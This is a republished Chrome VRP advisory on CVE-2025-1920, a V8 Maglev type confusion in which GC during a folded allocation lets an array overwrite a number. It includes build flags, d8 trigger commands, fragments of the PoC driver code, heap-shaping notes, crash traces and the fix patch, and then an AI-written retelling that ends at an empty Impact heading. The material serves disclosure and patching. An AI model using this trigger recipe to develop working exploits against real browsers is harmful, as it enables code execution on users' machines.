Skip to content
Memory corruption Advisory Advanced CVE-2025-1920

Type Confusion in V8 (CVE-2025-1920)

A type confusion in V8's Maglev compiler occurs when garbage collection and reallocation happen in the middle of a folded allocation, causing a variable to be overwritten by an array. An attacker could trigger a crash or potentially achieve code execution by exploiting this memory corruption.

Excello s.r.o Follow

Originally disclosed on Chrome VRP

Bounty$7,000 High View original
  • Fix shipped in 18 days

VULNERABILITY DETAILS

Intro

The vulnerability uses two V8 concepts:

  • Folded allocation - is an optimization where multiple allocation operations are combined into a single allocation.
  • Memory is divided into two main regions Young Generation (Young Space) and Old Generation (Old Space). When an object in the Young Space survives multiple garbage collections, it is promoted or reallocated to the Old Space. One of the moment when GC is called is during Builtins_AllocateInYoungGeneration, which is called when need to allocate more memory.

The issue gets triggered when reallocation is performed in the middle of folded allocation.

The bug

Let's consider a simplified code

JavaScript
function triggerFunction(...a) {
    ...
}
function __f_0() {
    ...
    triggerFunction(v, pi, r);
    ...
}

When Maglev creates folded allocation and GC/reallocation is performed in the middle of such allocation, the variable "V" will be overlapped by array "A".

The process looks as follow:

  1. Allocate memory for "V" and create "V"
  2. Allocate memory for both "PI" and "A" (folded allocation) and create "PI".
  3. Allocate memory for "R" and create "R". As not enough memory in current block - extend it. During extention the garbage collection and reallocation (from Young to Old space) is done.
  4. Reallocate "PI" from Young to Old space. Reallocate "V" from Young to Old space. "V" is put right after "PI".
  5. Create array "A". As space after "PI" is reserved for "A" (in step 2) it is put right after "PI". But variable "V" now uses this space (becuase of step 4). "V" is overwritten by "A".

So, the "PI" is reallocated to the new place. The "V" varialbe is also, and it got placed right after "PI". However, due to the folded allocation, the place after "PI" is reserved for "A".

Variable "V" before overwritten by array "A"

0x33920064002d: [HeapNumber]
 - map: 0x339200000515 <Map[12](HEAP_NUMBER_TYPE)>
 - value: 1073751774.0

Variable "V" after overwritten by array "A"

0x33920064002d: [FixedArray]
 - map: 0x339200000565 <Map(FIXED_ARRAY_TYPE)>
 - length: 10
           0: 0x33920064002d <FixedArray[10]>
           1: 0x339200640021 <HeapNumber 3.14159>
           2: 0x339200000011 <undefined>
           3: 0x3392006400ad <HeapNumber 107375179900.0>
           4: 0x339200000011 <undefined>
           5: 0x339200640011 <Number map = 0x339200509f0d value = 0>
         6-9: 0x339200000011 <undefined>

Restrictions/requirements for triggering the bug

Small modification in script result in triggering GC/reallocation in other functions, breaking the process. To trigger the issue this is a must:

  • Folded allocation of "PI" and "A" (we always have it with our code)
  • The quota to reallocate from Young to Old space for both "V" and "PI" should be reached right before step 3 (sensitive to side-effects)
  • Should not be enough space to allocate new variable "R" at step 3, so Builtins_AllocateInYoungGeneration would be called and trigger reallocation (sensitive to side-effects)

To accommodate the different memory layouts (between various source commits, different run flags, build arguments), we had to introduce additional allocations by adding stub variable declarations. We've made a script search_allocations.py to do this automatically.

How it probably should work

Non-vulnerable, intended behavior probably is one of the following:

  • Reallocator should be aware of folded allocation and keep track reserved memory
  • Reallocation shouldn't happen in the middle of folded allocation (between step 2 and 5). All objects from folded allocation should be created before reallocation. Currently, "A" is created after reallocation.

Root cause

Rest arguments create such sequence "V", "PI", "R", "A", where "PI" and "A" are folded-allocated.

Proof of concept

PoC 1

Branch: main, commit: f30c2930794e1347a85909c0272964692e4311f6

args.gn (release build)

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false

Command: d8 --allow-natives-syntax --no-js-atomics-pause --no-script-context-mutable-heap-number --predictable --wasm-staging --isolate poc1.js

Error:

Stacktrace:
    ptr1=0x9b1001c002d
    ptr2=(nil)
    ptr3=(nil)
    ptr4=(nil)
    ptr5=(nil)
    ptr6=(nil)
    failure_message_object=0x75c7c3df7130

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x5f92730281b6]
    1: StubFrame [pc: 0x5f927307ce95]
    2: StubFrame [pc: 0x5f9273070a45]
    3: toString [0x9b1003431d1](this=10000000,0x09b1001c002d <FixedArray[10]>,0x09b1001c0021 <HeapNumber 3.14159>,0x09b100000011 <undefined>,0x09b1001c00ad <HeapNumber 78383880524.0>,0x09b100000011 <undefined>,0x09b1001c0011 <Number map = 0x9b10034308d value = 0>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>)
    4: __f_0 [0x9b10035bc81] [poc1.js:~170] [pc=0x5f92d2f4a95e](this=0x09b100341a85 <JSGlobalProxy>)
    5: __f_1 [0x9b10035bcb5] [poc1.js:190] [bytecode=0x31a0018013d offset=40](this=0x09b100341a85 <JSGlobalProxy>)
    6: /* anonymous */ [0x9b10035b3a1] [poc1.js:193] [bytecode=0x31a001800d1 offset=43](this=0x09b100341a85 <JSGlobalProxy>)
    7: InternalFrame [pc: 0x5f9272f7e71c]
    8: EntryFrame [pc: 0x5f9272f7e46b]

==== Details ================================================

[0]: ExitFrame [pc: 0x5f92730281b6]
[1]: StubFrame [pc: 0x5f927307ce95]
[2]: StubFrame [pc: 0x5f9273070a45]
[3]: toString [0x9b1003431d1](this=10000000,0x09b1001c002d <FixedArray[10]>,0x09b1001c0021 <HeapNumber 3.14159>,0x09b100000011 <undefined>,0x09b1001c00ad <HeapNumber 78383880524.0>,0x09b100000011 <undefined>,0x09b1001c0011 <Number map = 0x9b10034308d value = 0>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
[4]: __f_0 [0x9b10035bc81] [poc1.js:~170] [pc=0x5f92d2f4a95e](this=0x09b100341a85 <JSGlobalProxy>) {
// optimized frame
--------- s o u r c e   c o d e ---------
function __f_0() {\x0a  let __v_2 = __v_1;\x0a\x0a  for (var i = 0; i < 100; i++) { \x0a    --__v_1;\x0a    __v_2 += __v_1;\x0a    console.log(i);\x0a    console.log(__v_1);\x0a    triggerFunction(10000000, 456109613, __v_1,   Math.PI, __getRandomObject(5161),__v_2, __getRandomObject(639756),new Number(), undefined,undefined, undefined,...

-----------------------------------------
}
[5]: __f_1 [0x9b10035bcb5] [poc1.js:190] [bytecode=0x31a0018013d offset=40](this=0x09b100341a85 <JSGlobalProxy>) {
  // expression stack (top to bottom)
  [01] : 0x09b100341a85 <JSGlobalProxy>
  [00] : 0x09b10035bc81 <JSFunction __f_0 (sfi = 0x9b10035b259)>
--------- s o u r c e   c o d e ---------
function __f_1() {\x0a  %PrepareFunctionForOptimization(__f_0);  \x0a  __f_0();\x0a  %OptimizeMaglevOnNextCall(__f_0);\x0a  __v_1 = 1073751824;\x0a  __f_0();\x0a}
-----------------------------------------
}

[6]: /* anonymous */ [0x9b10035b3a1] [poc1.js:193] [bytecode=0x31a001800d1 offset=43](this=0x09b100341a85 <JSGlobalProxy>) {
  // heap-allocated locals
  var __v_1 = 0x09b10035eb35 <FixedArray[1]>
  // expression stack (top to bottom)
  [04] : 0x09b100341a85 <JSGlobalProxy>
  [03] : 0x09b10035d63d <Object map = 0x9b10034281d>
  [02] : 0x09b10035d659 <Object map = 0x9b10034281d>
  [01] : 0x09b10035bcb5 <JSFunction __f_1 (sfi = 0x9b10035b289)>
  [00] : 0x09b100000011 <undefined>
--------- s o u r c e   c o d e ---------
var my_simple_var_0;\x0avar my_simple_var_1;\x0avar my_simple_var_2;\x0avar my_simple_var_3;\x0avar my_simple_var_4;\x0avar my_simple_var_5;\x0avar my_simple_var_6;\x0avar my_simple_var_7;\x0avar my_simple_var_8;\x0avar my_simple_var_9;\x0avar my_simple_var_10;\x0avar my_simple_var_11;\x0avar my_simple_var_12;\x0avar my_simple_var_13;\x0ava...

-----------------------------------------
}

[7]: InternalFrame [pc: 0x5f9272f7e71c]
[8]: EntryFrame [pc: 0x5f9272f7e46b]
=====================

Trace/breakpoint trap (core dumped)

The crash itself happens in toString (NumberPrototypeToString in number.tq), where the first argument is considered as radix. But as number value is overlapped by array the crash will happen during the convertion.

PoC 2

Branch: main, commit: f30c2930794e1347a85909c0272964692e4311f6

args.gn (build with dchecks)

symbol_level = 2
is_debug = false
v8_optimized_debug = false
dcheck_always_on = true
v8_win64_unwinding_info = true
v8_enable_verify_csa = true
v8_enable_object_print = true
v8_enable_maglev_graph_printer = true
v8_enable_disassembler = true
v8_enable_slow_dchecks = true
v8_enable_verify_heap = true
v8_enable_sandbox = true

target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_gdbjit = true

Command: d8 --allow-natives-syntax --no-js-atomics-pause --no-script-context-mutable-heap-number --predictable --wasm-staging --isolate poc2.js

Error:

#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, raw_offset)) at ../../src/codegen/code-stub-assembler.h:1166
  Expected Map but found Smi: 0x2a22168c (706877068)

#
#
#
#FailureMessage Object: 0x7ce5a47fee00Trace/breakpoint trap (core dumped)

Here we trigger a crash in different place, which may be more useful for the exploitation.

PoC 3

Issue is also present in older versions. This is the earliest commit for which we made a PoC, but the issue may have existed even earlier.

Branch: main, commit: 4bfcab00943b1e35f4fb2326aafea5a64752f75e

args.gn (release)

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false

Command: d8 --allow-natives-syntax --predictable --isolate poc3.js

Error:

Stacktrace:
    ptr1=0x9b0001c002d
    ptr2=(nil)
    ptr3=(nil)
    ptr4=(nil)
    ptr5=(nil)
    ptr6=(nil)
    failure_message_object=0x7d52007f7150

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x6452ba4f81b6]
    1: StubFrame [pc: 0x6452ba54cf94]
    2: StubFrame [pc: 0x6452ba5410c5]
    3: toString [0x9b000349b09](this=10000000,0x09b0001c002d <FixedArray[10]>,0x09b0001c0021 <HeapNumber 3.14159>,0x09b000000069 <undefined>,0x09b0001c00ad <HeapNumber 13958773634.0>,0x09b000000069 <undefined>,0x09b0001c0011 <Number map = 0x9b0003499c5 value = 0>,0x09b000000069 <undefined>,0x09b000000069 <undefined>,0x09b000000069 <undefined>,0x09b000000069 <undefined>)
    4: __f_0 [0x9b00035c99d] [../../poc3_4bfcab00943b1e35f4fb2326aafea5a64752f75e.js:~360] [pc=0x6452e000a190](this=0x09b0003416c9 <JSGlobalProxy>)
    5: __f_1 [0x9b00035c9d1] [../../poc3_4bfcab00943b1e35f4fb2326aafea5a64752f75e.js:380] [bytecode=0x31a000800b5 offset=40](this=0x09b0003416c9 <JSGlobalProxy>)
    6: /* anonymous */ [0x9b00035b209] [../../poc3_4bfcab00943b1e35f4fb2326aafea5a64752f75e.js:383] [bytecode=0x31a00080035 offset=61](this=0x09b0003416c9 <JSGlobalProxy>)
    7: InternalFrame [pc: 0x6452ba45671c]
    8: EntryFrame [pc: 0x6452ba45645f]

==== Details ================================================

[0]: ExitFrame [pc: 0x6452ba4f81b6]
[1]: StubFrame [pc: 0x6452ba54cf94]
[2]: StubFrame [pc: 0x6452ba5410c5]
[3]: toString [0x9b000349b09](this=10000000,0x09b0001c002d <FixedArray[10]>,0x09b0001c0021 <HeapNumber 3.14159>,0x09b000000069 <undefined>,0x09b0001c00ad <HeapNumber 13958773634.0>,0x09b000000069 <undefined>,0x09b0001c0011 <Number map = 0x9b0003499c5 value = 0>,0x09b000000069 <undefined>,0x09b000000069 <undefined>,0x09b000000069 <undefined>,0x09b000000069 <undefined>) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
[4]: __f_0 [0x9b00035c99d] [../../poc3_4bfcab00943b1e35f4fb2326aafea5a64752f75e.js:~360] [pc=0x6452e000a190](this=0x09b0003416c9 <JSGlobalProxy>) {
// optimized frame
--------- s o u r c e   c o d e ---------
function __f_0() {\x0a  let __v_2 = __v_1;\x0a\x0a  for (var i = 0; i < 100; i++) { \x0a    --__v_1;\x0a    __v_2 += __v_1;\x0a    console.log(i);\x0a    console.log(__v_1);\x0a    triggerFunction(10000000, 456109613, __v_1,   Math.PI, __getRandomObject(5161),__v_2, __getRandomObject(639756),new Number(), undefined,undefined, undefined,...

-----------------------------------------
}
[5]: __f_1 [0x9b00035c9d1] [../../poc3_4bfcab00943b1e35f4fb2326aafea5a64752f75e.js:380] [bytecode=0x31a000800b5 offset=40](this=0x09b0003416c9 <JSGlobalProxy>) {
  // expression stack (top to bottom)
  [01] : 0x09b0003416c9 <JSGlobalProxy>
  [00] : 0x09b00035c99d <JSFunction __f_0 (sfi = 0x9b00035b0a9)>
--------- s o u r c e   c o d e ---------
function __f_1() {\x0a  %PrepareFunctionForOptimization(__f_0);  \x0a  __f_0();\x0a  %OptimizeMaglevOnNextCall(__f_0);\x0a  __v_1 = 1073751824;\x0a  __f_0();\x0a}
-----------------------------------------
}

[6]: /* anonymous */ [0x9b00035b209] [../../poc3_4bfcab00943b1e35f4fb2326aafea5a64752f75e.js:383] [bytecode=0x31a00080035 offset=61](this=0x09b0003416c9 <JSGlobalProxy>) {
  // heap-allocated locals
  var __v_1 = 0x09b000360995 <FixedArray[1]>
  // expression stack (top to bottom)
  [04] : 0x09b0003416c9 <JSGlobalProxy>
  [03] : 0x09b00035e391 <Object map = 0x9b000342445>
  [02] : 0x09b00035e3ad <Object map = 0x9b000342445>
  [01] : 0x09b00035c9d1 <JSFunction __f_1 (sfi = 0x9b00035b0e9)>
  [00] : 0x09b000000069 <undefined>
--------- s o u r c e   c o d e ---------
var my_simple_var_0;\x0avar my_simple_var_1;\x0avar my_simple_var_2;\x0avar my_simple_var_3;\x0avar my_simple_var_4;\x0avar my_simple_var_5;\x0avar my_simple_var_6;\x0avar my_simple_var_7;\x0avar my_simple_var_8;\x0avar my_simple_var_9;\x0avar my_simple_var_10;\x0avar my_simple_var_11;\x0avar my_simple_var_12;\x0avar my_simple_var_13;\x0ava...

-----------------------------------------
}

[7]: InternalFrame [pc: 0x6452ba45671c]
[8]: EntryFrame [pc: 0x6452ba45645f]
=====================

Trace/breakpoint trap (core dumped)

Fix

The fix should reset/split folded allocation done in rest arguments.

PATCH
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 7c7c1c36c95..b36b64df4eb 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -12900,6 +12900,7 @@ ValueNode* MaglevGraphBuilder::BuildInlinedAllocation(
       SmallZoneVector<ValueNode*, 8> values(zone());
       vobject->ForEachDeoptInputLocation(
           [&](ValueNode* node, ValueNode*& input) {
+            ClearCurrentAllocationBlock();
             if (node->Is<VirtualObject>()) {
               VirtualObject* nested = node->Cast<VirtualObject>();
               node = BuildInlinedAllocation(nested, allocation_type);

Reproduction

See the attached files and the "Restrictions/requirements for triggering the bug" section

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: Excello s.r.o.

The original report as published on the Chromium issue tracker, by Excello s.r.o.. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is a V8 type confusion bug in the Maglev compiler, reported through the Chrome VRP and credited to Excello s.r.o. The affected component is V8 itself, and the report describes a memory corruption that arises from the interaction between two V8 concepts: folded allocation and garbage collection with promotion from the Young Generation to the Old Generation.

Folded allocation is an optimisation in which multiple allocation operations are combined into a single allocation. V8's heap is divided into two main regions, the Young Generation (Young Space) and the Old Generation (Old Space). When an object in the Young Space survives multiple garbage collections, it is promoted or reallocated to the Old Space. One of the moments when GC is called is during Builtins_AllocateInYoungGeneration, which runs when more memory needs to be allocated.

The issue is triggered when a reallocation is performed in the middle of a folded allocation.

Setup

The researcher worked against V8 main at the commits listed below, with the build configurations shown. Three proof-of-concept scripts were produced against different commits, each with its own build configuration and command line. The earliest commit for which a PoC was made is [redacted]; the issue may have existed even earlier. PoC 1 and PoC 2 use commit [redacted].

Because the trigger is sensitive to memory layout, the researcher had to accommodate differences between source commits, run flags and build arguments by introducing additional allocations through stub variable declarations. A script, search_allocations.py, was written to do this automatically.

Finding it

The researcher reduced the problem to a simplified shape. A function with rest arguments calls another function:

JavaScript
function triggerFunction(...a) {
    ...
}
function __f_0() {
    ...
    triggerFunction(v, pi, r);
    ...
}

When Maglev creates a folded allocation and a GC/reallocation happens in the middle of that allocation, the variable V ends up overlapped by the array A. The sequence is:

  1. Allocate memory for V and create V.
  2. Allocate memory for both PI and A (folded allocation) and create PI.
  3. Allocate memory for R and create R. As there is not enough memory in the current block, it is extended. During the extension the garbage collection and reallocation (from Young to Old space) is done.
  4. Reallocate PI from Young to Old space. Reallocate V from Young to Old space. V is put right after PI.
  5. Create array A. As the space after PI is reserved for A (in step 2) it is put right after PI. But variable V now uses this space (because of step 4). V is overwritten by A.

So PI is reallocated to a new place, and V is too, landing right after PI. Because of the folded allocation, the place after PI was reserved for A.

The report shows the object before and after the overwrite. Before:

Text
0x33920064002d: [HeapNumber]
 - map: 0x339200000515 <Map[12](HEAP_NUMBER_TYPE)>
 - value: 1073751774.0

After:

Text
0x33920064002d: [FixedArray]
 - map: 0x339200000565 <Map(FIXED_ARRAY_TYPE)>
 - length: 10
           0: 0x33920064002d <FixedArray[10]>
           1: 0x339200640021 <HeapNumber 3.14159>
           2: 0x339200000011 <undefined>
           3: 0x3392006400ad <HeapNumber 107375179900.0>
           4: 0x339200000011 <undefined>
           5: 0x339200640011 <Number map = 0x339200509f0d value = 0>
         6-9: 0x339200000011 <undefined>

Restrictions and requirements

A small modification to the script causes GC/reallocation to happen in other functions, which breaks the process. To trigger the issue, all of the following are required:

  • Folded allocation of PI and A (always present with this code).
  • The quota to reallocate from Young to Old space for both V and PI must be reached right before step 3 (sensitive to side effects).
  • There must not be enough space to allocate the new variable R at step 3, so that Builtins_AllocateInYoungGeneration is called and triggers the reallocation (sensitive to side effects).

How it probably should work

The report suggests the intended behaviour is one of two things: either the reallocator should be aware of folded allocation and keep track of reserved memory, or reallocation should not happen in the middle of a folded allocation (between step 2 and step 5), with all objects from the folded allocation created before reallocation. Currently A is created after reallocation.

Root cause

Rest arguments create the sequence V, PI, R, A, where PI and A are folded-allocated.

Exploitation

Step 1: PoC 1 on a release build

Branch main, commit [redacted]. Build arguments:

Text
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false

Command:

Bash
d8 --allow-natives-syntax --no-js-atomics-pause --no-script-context-mutable-heap-number --predictable --wasm-staging --isolate poc1.js

The run aborts with a stack trace. The crash happens in toString (NumberPrototypeToString in number.tq), where the first argument is treated as the radix. Because the number value has been overlapped by the array, the crash occurs during the conversion. The trace shows the corrupted FixedArray[10] being passed where a number is expected:

Text
Stacktrace:
    ptr1=0x9b1001c002d
    ptr2=(nil)
    ptr3=(nil)
    ptr4=(nil)
    ptr5=(nil)
    ptr6=(nil)
    failure_message_object=0x75c7c3df7130

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x5f92730281b6]
    1: StubFrame [pc: 0x5f927307ce95]
    2: StubFrame [pc: 0x5f9273070a45]
    3: toString [0x9b1003431d1](this=10000000,0x09b1001c002d <FixedArray[10]>,0x09b1001c0021 <HeapNumber 3.14159>,0x09b100000011 <undefined>,0x09b1001c00ad <HeapNumber 78383880524.0>,0x09b100000011 <undefined>,0x09b1001c0011 <Number map = 0x9b10034308d value = 0>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>)
    4: __f_0 [0x9b10035bc81] [poc1.js:~170] [pc=0x5f92d2f4a95e](this=0x09b100341a85 <JSGlobalProxy>)
    5: __f_1 [0x9b10035bcb5] [poc1.js:190] [bytecode=0x31a0018013d offset=40](this=0x09b100341a85 <JSGlobalProxy>)
    6: /* anonymous */ [0x9b10035b3a1] [poc1.js:193] [bytecode=0x31a001800d1 offset=43](this=0x09b100341a85 <JSGlobalProxy>)
    7: InternalFrame [pc: 0x5f9272f7e71c]
    8: EntryFrame [pc: 0x5f9272f7e46b]

==== Details ================================================

[0]: ExitFrame [pc: 0x5f92730281b6]
[1]: StubFrame [pc: 0x5f927307ce95]
[2]: StubFrame [pc: 0x5f9273070a45]
[3]: toString [0x9b1003431d1](this=10000000,0x09b1001c002d <FixedArray[10]>,0x09b1001c0021 <HeapNumber 3.14159>,0x09b100000011 <undefined>,0x09b1001c00ad <HeapNumber 78383880524.0>,0x09b100000011 <undefined>,0x09b1001c0011 <Number map = 0x9b10034308d value = 0>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
[4]: __f_0 [0x9b10035bc81] [poc1.js:~170] [pc=0x5f92d2f4a95e](this=0x09b100341a85 <JSGlobalProxy>) {
// optimized frame
--------- s o u r c e   c o d e ---------
function __f_0() {\x0a  let __v_2 = __v_1;\x0a\x0a  for (var i = 0; i < 100; i++) { \x0a    --__v_1;\x0a    __v_2 += __v_1;\x0a    console.log(i);\x0a    console.log(__v_1);\x0a    triggerFunction(10000000, 456109613, __v_1,   Math.PI, __getRandomObject(5161),__v_2, __getRandomObject(639756),new Number(), undefined,undefined, undefined,...

-----------------------------------------
}
[5]: __f_1 [0x9b10035bcb5] [poc1.js:190] [bytecode=0x31a0018013d offset=40](this=0x09b100341a85 <JSGlobalProxy>) {
  // expression stack (top to bottom)
  [01] : 0x09b100341a85 <JSGlobalProxy>
  [00] : 0x09b10035bc81 <JSFunction __f_0 (sfi = 0x9b10035b259)>
--------- s o u r c e   c o d e ---------
function __f_1() {\x0a  %PrepareFunctionForOptimization(__f_0);  \x0a  __f_0();\x0a  %OptimizeMaglevOnNextCall(__f_0);\x0a  __v_1 = 1073751824;\x0a  __f_0();\x0a}
-----------------------------------------
}

[6]: /* anonymous */ [0x9b10035b3a1] [poc1.js:193] [bytecode=0x31a001800d1 offset=43](this=0x09b100341a85 <JSGlobalProxy>) {
  // heap-allocated locals
  var __v_1 = 0x09b10035eb35 <FixedArray[1]>
  // expression stack (top to bottom)
  [04] : 0x09b100341a85 <JSGlobalProxy>
  [03] : 0x09b10035d63d <Object map = 0x9b10034281d>
  [02] : 0x09b10035d659 <Object map = 0x9b10034281d>
  [01] : 0x09b10035bcb5 <JSFunction __f_1 (sfi = 0x9b10035b289)>
  [00] : 0x09b100000011 <undefined>
--------- s o u r c e   c o d e ---------
var my_simple_var_0;\x0avar my_simple_var_1;\x0avar my_simple_var_2;\x0avar my_simple_var_3;\x0avar my_simple_var_4;\x0avar my_simple_var_5;\x0avar my_simple_var_6;\x0avar my_simple_var_7;\x0avar my_simple_var_8;\x0avar my_simple_var_9;\x0avar my_simple_var_10;\x0avar my_simple_var_11;\x0avar my_simple_var_12;\x0avar my_simple_var_13;\x0ava...

-----------------------------------------
}

[7]: InternalFrame [pc: 0x5f9272f7e71c]
[8]: EntryFrame [pc: 0x5f9272f7e46b]
=====================

Trace/breakpoint trap (core dumped)

The trace also shows the shape of the driver functions: __f_1 prepares __f_0 for optimisation, calls it, then calls %OptimizeMaglevOnNextCall(__f_0), sets __v_1 = 1073751824 and calls __f_0 again. The anonymous top-level frame contains the stub variable declarations (my_simple_var_0 through my_simple_var_13 and beyond) used to shape the heap.

Step 2: PoC 2 with dchecks

Same branch and commit, but built with dchecks:

Text
symbol_level = 2
is_debug = false
v8_optimized_debug = false
dcheck_always_on = true
v8_win64_unwinding_info = true
v8_enable_verify_csa = true
v8_enable_object_print = true
v8_enable_maglev_graph_printer = true
v8_enable_disassembler = true
v8_enable_slow_dchecks = true
v8_enable_verify_heap = true
v8_enable_sandbox = true

target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_gdbjit = true

Command:

Bash
d8 --allow-natives-syntax --no-js-atomics-pause --no-script-context-mutable-heap-number --predictable --wasm-staging --isolate poc2.js

This run crashes in a different place, which the researcher notes may be more useful for exploitation:

Text
#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, raw_offset)) at ../../src/codegen/code-stub-assembler.h:1166
  Expected Map but found Smi: 0x2a22168c (706877068)

#
#
#
#FailureMessage Object: 0x7ce5a47fee00Trace/breakpoint trap (core dumped)

Step 3: PoC 3 on an older commit

The issue is also present in older versions. The earliest commit for which a PoC was made is [redacted], though the issue may have existed even earlier. Build arguments (release):

Text
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false

Command:

Bash
d8 --allow-natives-syntax --predictable --isolate poc3.js

The result is the same class of failure as PoC 1, again in toString with the corrupted FixedArray[10] in place of a number:

Text
Stacktrace:
    ptr1=0x9b0001c002d
    ptr2=(nil)
    ptr3=(nil)
    ptr4=(nil)
    ptr5=(nil)
    ptr6=(nil)
    failure_message_object=0x7d52007f7150

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x6452ba4f81b6]
    1: StubFrame [pc: 0x6452ba54cf94]
    2: StubFrame [pc: 0x6452ba5410c5]
    3: toString [0x9b000349b09](this=10000000,0x09b0001c002d <FixedArray[10]>,0x09b0001c0021 <HeapNumber 3.14159>,0x09b000000069 <undefined>,0x09b0001c00ad <HeapNumber 13958773634.0>,0x09b000000069 <undefined>,0x09b0001c0011 <Number map = 0x9b0003499c5 value = 0>,0x09b000000069 <undefined>,0x09b000000069 <undefined>,0x09b000000069 <undefined>,0x09b000000069 <undefined>)
    4: __f_0 [0x9b00035c99d] [../../[redacted].js:~360] [pc=0x6452e000a190](this=0x09b0003416c9 <JSGlobalProxy>)
    5: __f_1 [0x9b00035c9d1] [../../[redacted].js:380] [bytecode=0x31a000800b5 offset=40](this=0x09b0003416c9 <JSGlobalProxy>)
    6: /* anonymous */ [0x9b00035b209] [../../[redacted].js:383] [bytecode=0x31a00080035 offset=61](this=0x09b0003416c9 <JSGlobalProxy>)
    7: InternalFrame [pc=0x6452ba45671c]
    8: EntryFrame [pc=0x6452ba45645f]

==== Details ================================================

[0]: ExitFrame [pc=0x6452ba4f81b6]
[1]: StubFrame [pc=0x6452ba54cf94]
[2]: StubFrame [pc=0x6452ba5410c5]
[3]: toString [0x9b000349b09](this=10000000,0x09b0001c002d <FixedArray[10]>,0x09b0001c0021 <HeapNumber 3.14159>,0x9b000000069 <undefined>,0x09b0001c00ad <HeapNumber 13958773634.0>,0x9b000000069 <undefined>,0x09b0001c0011 <Number map = 0x9b0003499c5 value = 0>,0x9b000000069 <undefined>,0x9b000000069 <undefined>,0x9b000000069 <undefined>,0x9b000000069 <undefined>) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
[4]: __f_0 [0x9b00035c99d] [../../[redacted].js:~360] [pc=0x6452e000a190](this=0x09b0003416c9 <JSGlobalProxy>) {
// optimized frame
--------- s o u r c e   c o d e ---------
function __f_0() {\x0a  let __v_2 = __v_1;\x0a\x0a  for (var i = 0; i < 100; i++) { \x0a    --__v_1;\x0a    __v_2 += __v_1;\x0a    console.log(i);\x0a    console.log(__v_1);\x0a    triggerFunction(10000000, 456109613, __v_1,   Math.PI, __getRandomObject(5161),__v_2, __getRandomObject(639756),new Number(), undefined,undefined, undefined,...

-----------------------------------------
}
[5]: __f_1 [0x9b00035c9d1] [../../[redacted].js:380] [bytecode=0x31a000800b5 offset=40](this=0x09b0003416c9 <JSGlobalProxy>) {
  // expression stack (top to bottom)
  [01] : 0x09b0003416c9 <JSGlobalProxy>
  [00] : 0x09b00035c99d <JSFunction __f_0 (sfi = 0x9b00035b0a9)>
--------- s o u r c e   c o d e ---------
function __f_1() {\x0a  %PrepareFunctionForOptimization(__f_0);  \x0a  __f_0();\x0a  %OptimizeMaglevOnNextCall(__f_0);\x0a  __v_1 = 1073751824;\x0a  __f_0();\x0a}
-----------------------------------------
}

[6]: /* anonymous */ [0x9b00035b209] [../../[redacted].js:383] [bytecode=0x31a00080035 offset=61](this=0x09b0003416c9 <JSGlobalProxy>) {
  // heap-allocated locals
  var __v_1 = 0x09b000360995 <FixedArray[1]>
  // expression stack (top to bottom)
  [04] : 0x09b0003416c9 <JSGlobalProxy>
  [03] : 0x09b00035e391 <Object map = 0x9b000342445>
  [02] : 0x09b00035e3ad <Object map = 0x9b000342445>
  [01] : 0x09b00035c9d1 <JSFunction __f_1 (sfi = 0x9b00035b0e9)>
  [00] : 0x9b000000069 <undefined>
--------- s o u r c e   c o d e ---------
var my_simple_var_0;\x0avar my_simple_var_1;\x0avar my_simple_var_2;\x0avar my_simple_var_3;\x0avar my_simple_var_4;\x0avar my_simple_var_5;\x0avar my_simple_var_6;\x0avar my_simple_var_7;\x0avar my_simple_var_8;\x0avar my_simple_var_9;\x0avar my_simple_var_10;\x0avar my_simple_var_11;\x0avar my_simple_var_12;\x0avar my_simple_var_13;\x0ava...

-----------------------------------------
}

[7]: InternalFrame [pc=0x6452ba45671c]
[8]: EntryFrame [pc=0x6452ba45645f]
=====================

Trace/breakpoint trap (core dumped)

Root cause

Rest arguments produce the allocation sequence V, PI, R, A, in which PI and A are folded-allocated. The space after PI is reserved for A by the folded allocation, but the allocation of R can trigger a GC that reallocates V right after PI. When A is then created, it overwrites V, so a value the optimised code still treats as a number is now a FixedArray.

Impact

